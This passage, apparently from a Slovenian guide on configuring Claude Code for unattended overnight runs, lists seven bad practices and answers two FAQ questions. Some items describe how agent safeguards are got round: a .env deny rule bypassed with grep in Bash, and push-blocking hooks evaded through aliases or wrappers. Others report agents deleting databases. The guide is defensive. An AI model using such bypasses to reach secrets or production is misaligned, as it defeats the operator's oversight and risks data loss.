Zadnja točka je način dela, ne nastavitev orodja. Claudeu omogočite, da preveri svoje delo. Brez preverjanja nočni agent nadaljuje z mislijo »mislim, da sem to naredil prav«, zato se do jutra kopičijo napake. S preverjanjem pa ne nadaljuje, dokler preverjanje ni uspešno.

7 slabih praks: česa NE početi

Ključna ugotovitev

Sedem pogostih napak iz opisanih projektov: zagon --dangerously-skip-permissions na računalniku z dostopom do produkcije, zanašanje samo na CLAUDE.md, zaupanje permissions.deny brez dodatnega hooka in uporaba auto-mode brez pravil za varnostne kopije. Vsaka napaka je povezana z resničnimi incidenti, opisanimi v virih.

1. --dangerously-skip-permissions na gostiteljskem računalniku z dostopom do produkcije. Browningstreet je z enim ukazom »pospravi« izgubil produkcijsko in razvojno zbirko podatkov. Napaka lahko pomeni ure obnove in izgubo podatkov, ki jih ni v varnostni kopiji. Če se je incident že zgodil, odprite »Kaj storiti, če je umetna inteligenca izbrisala zbirko podatkov: kontrolni seznam za obnovitev« in upoštevajte vseh 10 korakov po vrsti.

2. Zanašanje samo na CLAUDE.md za varnost. Težava #44868 je dokazala, da model najprej ukrepa in se šele nato opraviči. Navodilo v besedilni datoteki ne blokira klica orodja. Pravilno nastavljen kavelj lahko blokira ujemajoče se klice, širše meje pa uveljavlja nadzor dostopa operacijskega sistema, peskovnika in storitve. CLAUDE.md je pomemben za kontekst projekta — o njem sem pisal v ločenem vodiču »Kako pravilno konfigurirati CLAUDE.md« — vendar vas ne zaščiti pred avtonomnim agentom.

3. Zanašanje samo na permissions.deny v settings.json brez dodatnega hooka. Težava #24846 je odprta od februarja 2026. Zavrnitev za .env* je mogoče obiti z ukazom grep v Bash. Kavelj lahko doda preverjanja, skrivnosti pa morajo biti tudi izključene iz nenadzorovanega okolja; regularni izraz ne nadomesti celotnega nadzora dostopa.

4. Obravnava auto-mode s kavlji regularnih izrazov kot produkcijske izolacije. Navedena stopnja lažno negativnih rezultatov velja za določeno vrednotenje, pokritost kavljev pa je nepopolna. Odstranite produkcijske pisalne poverilnice in preverite uveljavljeno mejo, namesto da predpostavljate prestrezanje vsakega nevarnega dejanja.

5. Namestitev novega paketa z ukazom npm install brez potrditve. Napadi na dobavno verigo so resnični. Incidenti s paketi Tea-tags v letih 2024–2026 so pokazali, da obstajajo paketi s tipkarsko podobnimi imeni in tisoči prenosov. Potrebujete seznam dovoljenih paketov.

6. Ne beležite klicev Bash. Brez dnevnika revizije ne boste mogli ugotoviti, kaj se je dogajalo čez noč. Prepis klepeta je dolg, ukazi v njem niso indeksirani in ne prikazuje časovnice. Datoteka .claude/audit.jsonl odpravi obe težavi.

7. Za seje v ozadju ne uporabljate worktree. Vzporedne seje v istem imeniku posegajo v delo druga druge. Claude Code ima nastavitev worktree.bgIsolation, ki je od različice 2.1.143 privzeto vklopljena, vendar preverite svoje nastavitve.

In glavna stvar, ki je ne more preprečiti noben hook ali nastavitev:

Ta stavek ni vprašanje sloga. Za zaščito produkcije je odgovoren tisti, ki je zagnal agenta. Claude Code deluje kot ravna britvica: z njo se lahko obrijete, lahko pa se tudi urežete. Konfiguracija odgovarja na eno vprašanje: ali ste okolje pripravili dovolj dobro, da britvica ne bo prerezala ničesar, česar ne bi smela?

Priprava pred incidentom je del inženiringa konteksta: vnaprej omejite, kaj agent lahko počne, in mu tako omogočite, da počne, kar želite. Celoten potek dela s kontekstom.

Več virov je na voljo na Ailoot.

Več podrobnosti

Vprašanja in odgovori: Kako konfigurirati Claude Code, da čez noč ne pokvari vašega projekta

Ali kavelj za prisilni potisk zaščiti produkcijo pred vsakim ukazom lupine?

Ne. Popravljeni primer blokira prepoznane dobesedne klice git push, tudi oba vrstna reda zastavic, implicitne veje, refspec in običajne verige lupine. Vzdevki, ovoji in sestavljeni ukazi lahko obidejo besedilni pregled; uveljavite zaščitene veje in odstranite poverilnice za obhod.

Kaj je potrebno pred nočnim delovanjem agenta?

Uporabite ločeno okolje brez produkcijskega pisalnega dostopa in berljivih skrivnosti, preverite omrežne ter strežniške omejitve in preizkusite predvidena ujemanja ter spreglede kavlja. Kavlji dodajo preverjanja, ne nadomestijo teh uveljavljenih meja.

Vsi članki